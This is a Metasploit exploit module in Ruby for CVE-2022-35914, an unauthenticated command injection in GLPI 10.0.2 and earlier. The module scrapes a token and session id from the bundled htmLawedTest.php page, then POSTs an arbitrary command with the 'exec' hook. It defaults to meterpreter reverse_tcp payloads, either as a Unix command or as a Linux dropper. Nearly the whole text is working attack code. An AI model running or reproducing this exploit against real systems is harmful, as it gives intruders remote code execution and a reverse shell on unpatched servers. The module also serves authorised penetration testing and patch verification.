GLPI 10.0.2 Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GLPI htmLawed php command injection',  
'Description' => %q{  
This exploit takes advantage of a unauthenticated php command injection available  
from GLPI versions 10.0.2 and below to execute a command.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc  
'bwatters-r7' # module  
],  
'References' => [  
['CVE', '2022-35914' ],  
['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X64, ARCH_CMD],  
'CmdStagerFlavor' => [ 'printf' ],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',  
'RPORT' => 80,  
'URIPATH' => '/glpi/'  
}  
}  
],  
[  
'Linux (Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'RPORT' => 80,  
'URIPATH' => '/glpi/'  
},  
'Type' => :linux_dropper  
}  
],  
],  
'DisclosureDate' => '2022-01-26',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
)  
)  
end  
  
def populate_values  
uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php"  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri),  
'connection' => 'keep-alive',  
'accept' => '*/*'  
})  
@html = res.get_html_document  
@token = @html.at_xpath('//input[@id="token"]')['value']  
vprint_status("token = #{@token}")  
  
# sometimes I got > 1 sid. We must use the last one.  
@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]  
vprint_status("sid = #{@sid}")  
rescue NoMethodError => e  
elog('Failed to retrieve token or sid', error: e)  
end  
end  
  
def execute_command(cmd, _opts = {})  
populate_values if @sid.nil? || @token.nil?  
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri),  
'cookie' => 'sid=' + @sid,  
'ctype' => 'application/x-www-form-urlencoded',  
'encode_params' => true,  
'vars_post' => {  
'token' => @token,  
'text' => cmd,  
'hhook' => 'exec',  
'sid' => @sid  
}  
})  
end  
  
def check  
populate_values if @html_doc.nil?  
if @token.nil? || @sid.nil? || @html.nil?  
return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')  
end  
return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')  
  
return Exploit::CheckCode::Safe('Unable to determine htmLawed status')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
end  
`